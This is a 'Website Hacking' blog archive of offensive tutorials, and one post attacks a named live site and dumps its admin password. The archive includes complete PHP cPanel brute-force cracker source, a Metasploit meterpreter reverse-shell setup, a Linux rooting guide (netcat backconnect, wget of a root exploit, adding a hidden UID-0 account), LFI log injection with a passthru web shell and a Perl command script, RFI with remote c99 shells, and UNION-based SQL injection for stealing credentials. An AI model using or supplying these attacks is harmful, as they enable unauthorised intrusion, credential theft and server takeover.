All The Secrets Of Hacking Is Exposed: Website Hacking

Showing posts with label Website Hacking. Show all posts

Thursday, 20 February 2014

SQL injection with SQLMAP Tool

SQLMAP-->

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

first search the vulnerability into the target website.

target-->www.tsbuttons.com.bd

now find the sql injection vulnerability into target website
ohh I found it....
vulnerability-->tsbuttons.com.bd/jean_tack_buttons.php?ptid=20'

this is the error on website
---------------------------------------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
---------------------------------------------

now start the Game ( hack the target site )

1.open the sqlmap

root@kali:~# sqlmap --help

2.find out the database name of the target website

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 --dbs

output is
----------------------------------------
available databases [2]:
[*] information_schema
[*] tsbutton_db
---------------------------------------

3.access the tables of database

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db --tables

output is
--------------------------------------------------------------------------------------------------------
[23:29:38] [INFO] fetching tables for database: 'tsbutton_db'
Database: tsbutton_db
[4 tables]
+------------------------+
| news                 |
| product            |
| product_type   |
| users               |
+------------------------+
---------------------------------------------------------------------------------------------------------

4.now it time to access the columns of tables which are we fetch from databse

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db -T users --columns

yehh
we get the user name of the target website
username-->admin

6.Lets access the password

root@kali:~# sqlmap -u http://tsbuttons.com.bd/jean_tack_buttons.php?ptid=20 -D tsbutton_db -T users -C password --dump

finally Game is over

--------------------------------------------------------------
username-->admin
password-->water
-------------------------------------------------------------

Monday, 18 February 2013

Exploiting SQL injection vulnerabilities with Metasploit (Part-2)

Recently we were performing an web application penetration test to one of our clients and identified a SQL injection vulnerability. The vulnerability allowed us to conduct a degree of fingerprinting on the remote server; however, the Microsoft SQL Server back-end database didn’t allow to execute commands via the well known xp_cmdshell stored procedure.

Based on the fingerprinting information we identified that the database server was running an old and vulnerable version of MS SQL server. Microsoft SQL Sever 2000 SP3, to be precise.

All indicated that the server was vulnerable to MS09-004 vulnerability. However, it was not possible to get direct access to the database. Moreover no authentication credentials were discovered during the course of the assessment.

This is how our newly released Metasploit module was born. We coded an extension which can be added to Metasploit to exploit this vulnerability using a SQL injection vulnerability with no need of using credentials, as the web application will authenticate in our behalf.

Penetration testing - SQL injection exploitation

The screenshot above shows how to get meterpreter (or any other payload of your choice) exploiting the vulnerability from Metasploit.

Tuesday, 29 January 2013

Exploiting SQL injection vulnerabilities with Metasploit (Part-1)

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker. Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:

http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;–

If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >set GET_PATH http://192.168.1.66/

showproduct.asp?id=1;[SQLi];--

GET_PATH => http://192.168.1.66/showproduct.asp?id=1;[SQLi];--

msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66
RHOST => 192.168.1.66

msf exploit(mssql_payload_sqli) >set PAYLOAD windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64
LHOST => 192.168.1.64

msf exploit(mssql_payload_sqli) > set LPORT 80
LPORT => 80

msf exploit(mssql_payload_sqli) > exploit

 After the exploitation the attacker will get a meterpreter shell.

SQL injection exploitation with Metasploit

If you want to use this code you can download it from Secforce security tools repository.

XSS Vulnerability in phpinfo()

Hi everyone,

I just found a very good post that discloses xss vulnerability in phpinfo. So the first one, is through the User Agent. In PHPINFO, it displays a bunch of information, and YOUR User Agent is included. So we need Tamper Data, for this. Open tamper data, and refresh the page. Once you’ve done that, change your User Agent to your XSS query. Then press okay, and the site will reload and execute your query.

I guess that one isn’t very good for actually Seing people. So I also have a GET based XSS exploit in PHPINFO. It’s quite interesting. It is located in the PHP variables area. In a part of that section, it will show your GET request. But there’s a little catch. You must add a “[]” at the end of your GET variable, because once we do that, the PHPINFO thinks we’re using an Array. And that’s where our XSS is located. So for example:

Keep in mind it blocks “alert”.
That’s pretty much it, hope you guys find good use of it!
Enjoy!

Sunday, 3 June 2012

Private Cpanel Cracker (Web hacking)

<?php
set_time_limit(0);

/********************************************************************
* Private Cpanel Cracker
* Coded by Miyachung
* miyachung@hotmail.com
* Janissaries.Org
* Demonstration -> http://www.youtube.com/watch?v=mLkudfIAPgA
*********************************************************************/

class cracker
{

 public  $sitelist;
 public  $passlist;
 
 public function calis()
 {
   $usernames   =  $this->make_username();
   $sitelist  = explode("\n",$this->openfile($this->sitelist)); 
   $passlist  = explode("\n",$this->openfile($this->passlist));
   $increment = 0;
   
   echo "\n\n[*]Site list -> $this->sitelist\n";
   echo "[*]Pass list -> $this->passlist\n";
   echo "[*]Total urls -> ".count($sitelist)."\n";
   echo "[*]Total pass -> ".count($passlist)."\n";
   echo "[*]Cracking started\n\n";
   
   foreach($sitelist as $id => $site)
   {
   $increment++;
   $site = trim($site);
   echo "-------------------------------------------------------\n";
   echo "[*]Trying site: ".$site." $increment / ".count($sitelist)."\n";
   if(eregi('http',$site)){
   $site = str_replace("http://","https://",$site);
   }else{ 
   $site = "https://$site";
   }
   $site= $site.":2083";
   
   if(!$this->pass_site($site))
   {
   echo "[-]Not cpanel,passing site\n";
   echo "-------------------------------------------------------\n\n";
   continue;
   }

   echo "[*]Connected Cpanel [OK]\n";
   echo "[*]Username: ".$usernames[$id]."\n";
   echo "[*]Loaded ".count($passlist)." passwords\n";
   echo "[*]Coded by Miyachung ||| Janissaries.Org\n";
    foreach($passlist as $pass)
    {
     $cracked = false;
     
     $pass=trim($pass);
     
     $result = $this->post($site,$usernames[$id],$pass);
     
     if(preg_match('/security_token/',$result))
     {
     $cracked = true;
     echo "[+]$pass password cracked for $usernames[$id]\n";
     echo "-------------------------------------------------------\n\n";
     $this->savefile("$site|$usernames[$id]|$pass");
     break;
     }
     
    }
   if(!$cracked){echo "[-]Not found\n";echo "-----------------------------------\n\n";}
   }
 
 }
 
 private function make_username()
 {
   $op = explode("\n",$this->openfile($this->sitelist));
   foreach($op as $site)
   {
   
   if(eregi('http://',$site)) $site  = str_replace("http://","",$site);
   if(!eregi('www',$site))    $site  = "www.".$site;
   
   $site = explode(".",$site);
   $site = str_replace("-","",$site[1]);
   
   $usernames[] = substr($site,0,8);
   
   }
   return $usernames;
 }
 
 public function lists()
 {
   echo "[!]Site list: ";
   $sitelist = fgets(STDIN);
   $sitelist = str_replace("\r\n","",$sitelist);
   $sitelist = trim($sitelist);
   echo "[!]Pass list: ";
   $passlist = fgets(STDIN);
   $passlist = str_replace("\r\n","",$passlist);
   $passlist = trim($passlist);
   
   return array($sitelist,$passlist);
 }
 
 private function post($site,$user,$pass)
 {
   $curl = curl_init();
   curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
   curl_setopt($curl,CURLOPT_URL,$site."/login/?login_only=1");
   curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
   curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
   curl_setopt($curl,CURLOPT_TIMEOUT,7);
   curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
   curl_setopt($curl,CURLOPT_POST,1);
   curl_setopt($curl,CURLOPT_POSTFIELDS,"user=$user&pass=$pass");
   $exec = curl_exec($curl);
   return $exec;
 }
 
 private function pass_site($site)
 {
   $curl = curl_init();
   curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
   curl_setopt($curl,CURLOPT_URL,$site);
   curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
   curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
   curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
   curl_setopt($curl,CURLOPT_TIMEOUT,7);
   $exec = curl_exec($curl);
   $info = curl_getinfo($curl);
   
   if($info['http_code'] != 0)
   {
   return true;
   }
   else
   {
   return false;
   }
 
 }
 
 private function openfile($file)
 {
   $file = @file_get_contents($file);
   if(!$file) exit("WTF File not found ?");
   return $file;
 }
 
 private function savefile($content)
 {
   $file = fopen('crackerlog.txt','ab');
   fwrite($file,$content."\r\n");
   fclose($file);
   return $file;
 }

}

$class      =   new cracker();
$lists      =   $class->lists();

   if(empty($lists[0]) || empty($lists[1])) exit("WTF Empty ? "); 
   
$class->sitelist   =   $lists[0];
$class->passlist   =   $lists[1];
$class->calis();


?>

Saturday, 19 May 2012

SQL Injection Attack using Havij tool (web hacking)

SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution. Any procedure that constructs SQL statements should be reviewed for injection vulnerabilities because SQL Server will execute all syntactically valid queries that it receives. Even parameterized data can be manipulated by a skilled and determined attacker.

SQL Injection can be done by manually injection or via automatic tools. Automatic tools are easy to use and do not require much technical knowledge.

In this tutorial we will discuss Havij. Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

Requirement

1.JSky software

2.Havij software

Step 1--> find out the SQLi vulnerability into the website using JSky software

step 2-->

step 3-->

step 4-->

step 5-->

step6-->

game is over

Monday, 5 March 2012

Server Rooting Tutorial and Adding New Root User

welcome to a tutorial on how to root a linux server.
This is going to be short,HQ tutorial with pictures included (For better learining)

So let's start with things you will need:

1) Shelled website
2) Local root exploit
3) NetCat

Chapter 1 - Gathering informations

Open up your .php shell on a hacked webserver.
I have mine for an example

Now you need to check what kernel your slave is using...
It should be something like

Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686

Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.

Here's the list of exploits
http://pastebin.com/A0sUhhrz

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.

Chapter 2 - Backconnecting to the server
For this you will need:

1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)

So open your netcat and type:
-l -n -v -p 443
Hit "Enter"

Now it should write "listening on [any] 443 ..."
Good.
Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".

Now it should connect to your netcat
I got something like this

Chapter 3 - Downloading exploit and executing it
Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits...8-164.zip) and go back to your netcat and type:

Now it downloaded out exploit named "2.6.18-164.zip" on our server.

If your exploit is downloaded as anyrandomname.c you must compile it

Do do that first download that exploit and then type:

gcc anyrandomname.c -o anyrandomname

And our exploit is compiled. (If you get errors when compiling then find another exploit

If you downloaded your exploit in zip file anyrandomname.zip type:

unzip anyrandomname.zip

Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

chmod 777 yourexploit'sname
With common sense where i typed "yourexploit'sname" you will type your exploit's name.

And one last final step is to run our exploit
./yourexploit'sname

To check if you got root type
id
or
whoami

Mine steps to root

Chapter 4 - Adding root user
Adding new root user is fairly easy
We use this command:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:
Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:
passwd Root2

(Root2 is your username)

See an example

[root@fedora ~]# passwd root2
Changing password for user root2.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

To check if you did alright

id root2
(Root2 is your username)

GNY shell - http://www.4shared.com/office/jLmzLh83/GNYShell.html
Google - http://google.com
NetCat - http://downloadnetcat.com/nc11nt.zip

So that concluded our rooting tutorial.
I hope that someone will learn from this and that this thread will be bookmarked for generations

Friday, 9 December 2011

Local File Inclusion (Web Hacking)

Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a vulnerable site, www.target-site.com/index.php?p=about, by means of directory transversal he would try to browse to the /etc/passwd file:

www.target-site.com/index.php?p= ../../../../../../../etc/passwd

The ../ you up one directory and the amount to use depends where in the server you are located compared the location of the /etc/passwd file.

If the hacker is able to successfully get to the /etc/passwd file he would see a list similar to the one below.

Root:x:0:0::/root:/bin/bash

bin:x:1:1:bin:/bin:/bin/false

daemon:x:2:2:daemon:/sbin:/bin/false

adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt

Each line is divided into seven parts:

username:passwd:UserID:GroupID:full_name:directory:shell

If the password hash was shown, the hacker would be able to crack it and get access to the machine, but in our case the password isn’t shown. This means that the password is shadowed and in the /etc/shadow file which the hacker doesn’t have access to. If this was the case, the hacker would probably attempt to get access to the system another way, through log injection.

The log directories are located in different areas in different Linux distributions. Below is a list of the most common locations.

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Below are the steps a hacker would take to take gain access to the system through log injection.

First the hacker would find what operating system version the target server is running and then search where the log files are located on that OS
Next, through LFI the hacker would navigate to that file location. If he is displayed with a bunch of logs, then he may continue.
The hacker would then inject some PHP code into the logs by typing
<? Passthru($_GET[‘cmd’]) ?> after = in the URL. This will cause the PHP script to be logged because there is no file by that name. What this script will do is give the hacker shell access and allow him to execute system commands.
Now if the hacker goes back to the log file, he will see that his PHP script wasn’t parsed and instead converted to %3C?%20passthru($_GET[cmd])%20?%3E
When you submitted the script, the browser automatically encoded the URL. Luckily there is a pearl script that can get around this problem. Below is the pearl script, edit the variables: $site, $path, $code, and $log to the appropriate information.

#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site=”www.vulnerablesite.com”;
$path=”/”;
$code=”<? Passthru(\$_GET[cmd]) ?>”;
$log = “../../../../../../../etc/httpd/logs/error_log”;
print “Trying to inject the code”;
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die “\nConnection Failed.\n\n”;
print $socket “GET “.$path.$code.” HTTP/1.1\r\n”;
print $socket “User-Agent: “.$code.”\r\n”;
print $socket “Host: “.$site.”\r\n”;
print $socket “Connection: close\r\n\r\n”;
close($socket);
print “\nCode $code successfully injected in $log \n”;
print “\nType command to run or exit to end: “;
$cmd = <STDIN>;
while($cmd !~ “exit”) {
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die “\nConnection Failed.\n\n”;
print $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\r\n”;
print $socket “Host: “.$site.”\r\n”;
print $socket “Accept: */*\r\n”;
print $socket “Connection: close\r\n\n”;
while ($show = <$socket>)
{
print $show;
}
print “Type command to run or exit to end: “;

$cmd = <STDIN>;
}

Once the hacker runs this script and it goes successfully, he will be able to run any command on the server. From here he can run any local exploits to gain root, or just browse the server files.

Remote File Inclusion (web hacking)

Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local exploits to escalate his privileges and take over the whole system.

Many servers are vulnerable to this kind of attack because of PHP’s default settings of register_globals and allow_url_fopen being enabled. Although as of PHP 6.0, register_globals has been depreciated and removed, many websites still rely on older versions of PHP to run their web applications. Now let’s go through the steps a hacker would take to exploit this type of vulnerability in a website.

First the hacker would find a website that gets its pages via the PHP include() function and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to RFI. A Google dork is the act of using Google’s provided search tools to help get a specific search result.
Website that include pages have a navigation system similar to:
http://target-site.com/index.php?page=PageName
To see if a the page is vulnerable, the hacker would try to include a site instead of PageName like the following: http://target-site.com/index.php?page=http://google.com
If the Google homepage shows up on the website, then the hacker knows the website is vulnerable and would continue to include a shell.
A couple of the most popular shells are c99 and r57. A hacker would either upload them to a remote server or just use a Google dork to locate them already online and insert them. To find the a shell the hacker would search Google for: inurl:c99.txt. This will display many websites with the shell already up and ready to be included. At the end of the URL make sure to add a ? so that if anything comes after c99.txt, it will be passed to the shell and not cause any problems. The new URL with the shell included would look like: http://target-site.com/index.php?page=http://site.com/c99.txt?
Sometimes the PHP script on the server appends “.php” to the end of every included file. So if you included the shell, it would end up looking like “c99.txt.php” and not work. To get around this, you would add a null byte () to the end of c99.txt. This tells the server to ignore everything after c99.txt.
In step one, I told you that hackers use Google dorks to look for sites possibly vulnerable to RFIs. An example of a Google dork would be: allinurl:.php?page=. This looks for URL’s with .php?page= in them. This is only an example and you most likely won’t find any vulnerable sites with that search. You can try switching around the word “page” with other letters and similar words. Hackers usually search vulnerability databases like www.milw0rm.com for already discovered RFI vulnerabilities in site content management systems and search for websites that are running that vulnerable web application with a Google dork.
If the hacker succeeds in getting the server to parse the shell, he will be presented with a screen similar to the following:

The shell will display information about the remote server and list all the files and directories on it. From here the hacker would find a directory that has read and write privileges and upload the shell but this time as a .php file so that incase the vulnerability is fixed, he will be able to access it later on.

The hacker would next find a way to gain root privileges on the system. He can do this by uploading and running local exploits against the server. He could also search the victim server for configuration files. These files may contain username and passwords for the MYSQL databases and such.

To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, and make sure you server php.ini file has register_globals and allow_url_fopen disabled.

Thursday, 8 December 2011

Hack SQL Vulnerable Websites In 8 Steps (SQL Injection)

As you have already gone through basic SQL injection (which is also called as Blind SQL Injection & mostly used by noobs) for hacking sites like using queries in admin & password fields as 1' or '1' = '1 or many like it. Today I will tell about how we can hack SQL vulnerable sites. This tutorial is only for educational purpose, it will show you how to attack on SQL databases of vulnerable sites. Follow these steps:

Find SQL vulnerable site, for e.g.

http://www.example.com/index.php?id=3 (Easy way is to google it using "inurl:")
Check whether it's vulnerable or not, enter a ' after the 3 in the url, for e.g.

http://www.example.com/index.php?id=3'

If page gives error, means you can continue, site is vulnerable. But if page loads without error, then website is not vulnerable.
Now find the number of columns in the database using "order by", for e.g.

http://www.example.com/index.php?id=3 order by 1--
http://www.example.com/index.php?id=3 order by 2--
http://www.example.com/index.php?id=3 order by 3--
http://www.example.com/index.php?id=3 order by 4--

http://www.example.com/index.php?id=3 order by 5--
http://www.example.com/index.php?id=3 order by 6--

If you receive error here, means we have 5 columns. If the site give error on "order by 8", then we would have 7 columns.
Now find the vulnerable columns in existing 5 columns, for e.g.

http://www.example.com/index.php?id=3 union all select 1,2,3,4,5--

If it executes successfully, then page will show some numbers on the page. For e.g. 2 and 5, means columns 2 and 5 are vulnerable.
Find the database version, user & name with commands:

http://www.example.com/index.php?id=3 union all select 1,user(),3,4,version()--
http://www.example.com/index.php?id=3 union all select 1,version(),3,4,database()--

Note: If the version is 5 and above, then carry on.
Now list all the table names using command after the url:

union all select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--

For e.g. http://www.example.com/index.php?id=3 union all select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--

Take a glance at some useful tables like admin, user etc. Suppose you get table name admin.
Now list all the column names using:

union all select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()--

For e.g.: http://www.example.com/index.php?id=3 union all select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()--

Find some useful columns from it like username, passwd etc.
Final step, retrieving the username & password fields from table admin (as mentioned above), use the command:

union all select 1,group_concat(username,0x3a,passwd),3,4,5 from admin--
Where admin is the table name.

For e.g.: http://www.example.com/index.php?id=3 union all select 1,group_concat(username,0x3a,passwd),3,4,5 from admin--

That's all. Now you have admin username & password. Enjoy!!

Monday, 5 December 2011

Website Mirroring

Website Mirroring (offline reader) :-
An offline reader (sometimes called an offline browser or offline navigator) is computer software that downloads e-mail, newsgroup posts or web pages, making them available when the computer is offline: not connected to the Internet

Website Mirroring Tools

HTTRack: HTTRack is a free (GPL, libre/free software) and easy-to-use offline browser utility. It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer.

------------------
www.httrack.com
-----------------

Web Snake: WebSnake is the world's most powerful off-line browser designed exclusively for Windows Platform. In addition to off-line browsing, WebSnake is unique in that it uses our proprietary "intelligent pull" technology to search and retrieve files from the World Wide Web

---------------------
www.websnake.com
---------------------

Surfonline: Surf Offline is fast and convenient website download software. The software allows you to download entire websites and download web pages to your local hard drive.

--------------------
www.surfonline.com
--------------------

PageNest : Copy your favorite WebPages to hard disk with PageNest. Give PageNest the address of a website and it will copy either the page or the entire site (whichever you prefer) to your hard disk. It will create an exact copy of what you see in your browser including the text, html, images and css.

--------------------
www.pagenest.com
--------------------